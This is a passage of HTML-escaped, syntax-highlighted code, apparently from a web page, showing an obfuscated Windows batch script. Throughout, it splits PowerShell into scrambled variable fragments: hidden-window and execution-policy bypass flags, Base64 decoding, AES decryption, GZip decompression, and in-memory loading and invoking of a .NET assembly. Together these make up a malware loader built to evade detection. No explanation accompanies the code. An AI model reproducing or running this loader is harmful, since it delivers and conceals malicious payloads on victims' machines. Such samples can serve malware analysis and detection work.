&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;HFLAqJuuyu=ew-O&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;JhYYmEHfJT=ing(&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;pTKKchMUFD=BC;$&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;vShQyqnqqU=exe&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;PjdRUyhsyG=[]] &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;VUeZKgDBUe=.Com&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;oNvGdyNkLt=oArr&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;IAkZpnEseT=UA.I&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;haSZYOmkiA=bstr&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;tzSNMWchGN=]::N&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;YKwLsVwqOj=Fina&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MFRjJyYsrs=k; }&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;EdLUuXiTNo=File&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;nMbUuONTOk=7;$B&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;OAsjgKHKoH= = N&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;LLNnWnTLBJ=$bTM&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;xVIsxobyZi= &amp;#39;&amp;#39;)&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;pUKFMEPFQs=onve&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;DDiJEpaiME=acUA&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ENADhKPHot= [st&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;WTAeYdswqF=.IO.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;hVncqdtHrj=[Sys&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;EUwICZcugV=);$N&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;USLedfRsdA=ispo&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;YULKJDZpgz=t Sy&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;BlIFABuPAW=ress&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;gNabAkLFGN=();$&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;cGJiVEdEzp=ZOcm&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;OpWuyrggtP=ddin&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;NbOjNijxuU=.Len&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;EuMCNHEVeC=nirt&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;iHRclHpeVX=-joi&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;zFvgtBzUer=Comp&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;klVPUdMJas=ecry&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;tBsRPAyhtG=;$gD&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;uOGlqENvnk=$NVP&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;WSRbQhwrOC=$eIf&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;gFQQimTbzp=bjec&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;FCBcNynRGD=Bmor&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;gNELMMjyFY=-win&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;pqWXTkasXe=+M0z&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;pjrIjvjdGR=tryP&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;aGQeJYSFDZ=m.Re&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;hknFiXCnZQ=ion.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MxwsyqmvYm=.Cre&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;FijcPoQLnC=ne);&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;VGKsxiJBaT=.Sec&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;roXhULjavE=pres&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;FraARuTjiq=($Yi&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;rEvTlCThdH=VIHX&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;JCuNlxqlBZ=:: &amp;#39;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;BANrSlObpx=nage&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;CMHWMmXlZO=eam(&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MtoMzhoqyY=bypa&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;xfHbUEWpFC=-Obj&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ktDjVGpvOa=pStr&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;hzjnwzdyGY=ct S&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;HkiSTlwlIs=-4] &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;AnKEeEZdOq=rans&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;doKcadyJqy=xU7e&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;dyJHMHMcNc=S46e&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;jCsFOJQsdv=tem.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;pEeOvclMbZ=PKCS&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;fFqNPWfBWr=se()&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;XEyDmChJvW= = $&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ZMNBNnhYdl=BacU&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;UmCJMMMcBg=m.IO&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;FcrKUOEnOU=.Cop&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;eYuashSMjP=y.Ci&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;reviZiSttH=oryS&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;xijYXotZPT=Comp&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;yqhJQSZuJo=rAsa&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;QCZuMFaZsV=lBlo&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;DAaZVQYtML=V = &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;gbVsRGzTij=.Key&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;OOiwgwuupI=ose(&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;hbFnQgCXwX=Secu&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;AiqHTcPzsv=th(&amp;#39;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KUKwZheGNw=BNO &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;OonlMOpxYC=tem.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;oFspIELDJK=ewLi&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;isQISZiBPJ=acUA&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;EiWocIreAk=yTo(&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;CZpuCIcrKh=Secu&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ZNBNkxQuUl=.GZi&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ZPlPiozEyW=&amp;#39;&amp;#39;)(&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;eFWpiweoyr=am;$&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;kEHDlJOIVc=gMod&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;PwJJFMgamh=eHDU&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;nfEeCcWKKK=-ep &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;dAuevoJWoL=gnir&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;BMVjGSkNrk=.Cry&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GwAFOSfUtV=acUA&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;bSIafzAxiZ=Lk.T&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;uynFENuiYB=iron&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;BGoTReCegg=qq =&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;DXdgqiFTAH=ptog&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;QNxYaFZSBu=);$P&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;shhyfkrTvn=m = &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;fvEtritbuM= = $&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;IwOqmlYsbl=(&amp;#39;da&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;EDuGpmwedn=m = &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;rFsKCxpAbv=.Dis&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;HLynrUfwGo=6esa&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;wwmTmFdRsZ=trea&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;IeRiYUFnCZ=Obje&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;kxCYxBSxVM=..-1&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;xULgeMdzcg=&amp;#39;0xd&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;vXewtPjogB=$bTM&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GhTXhmRnCR=, (,&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MBvrUwPCDz=m.IO&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KVdpASYkBZ=A.Pa&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;fxpyemHAMo=Stre&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KtmeCApwQn=tion&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;jWtWLzuDKP=bbqM&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;xllGdjvUjB=em.I&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ahbOZSBViB=Star&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MusMeoeDey=Disp&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ySgQyAAfQH=ect &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;LPGeAanVGt=3); &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;LYxpWUVnyn==&amp;#39;);&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;TfyrgNGxBL=ress&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ZNnASGtLCj=y]::&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KXttaDcyMZ=.Mod&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;RfMwENsorP=morF&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;CZTFliIBbC=:(&amp;#39;g&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;mYyPXMYwYi=oint&amp;#34;
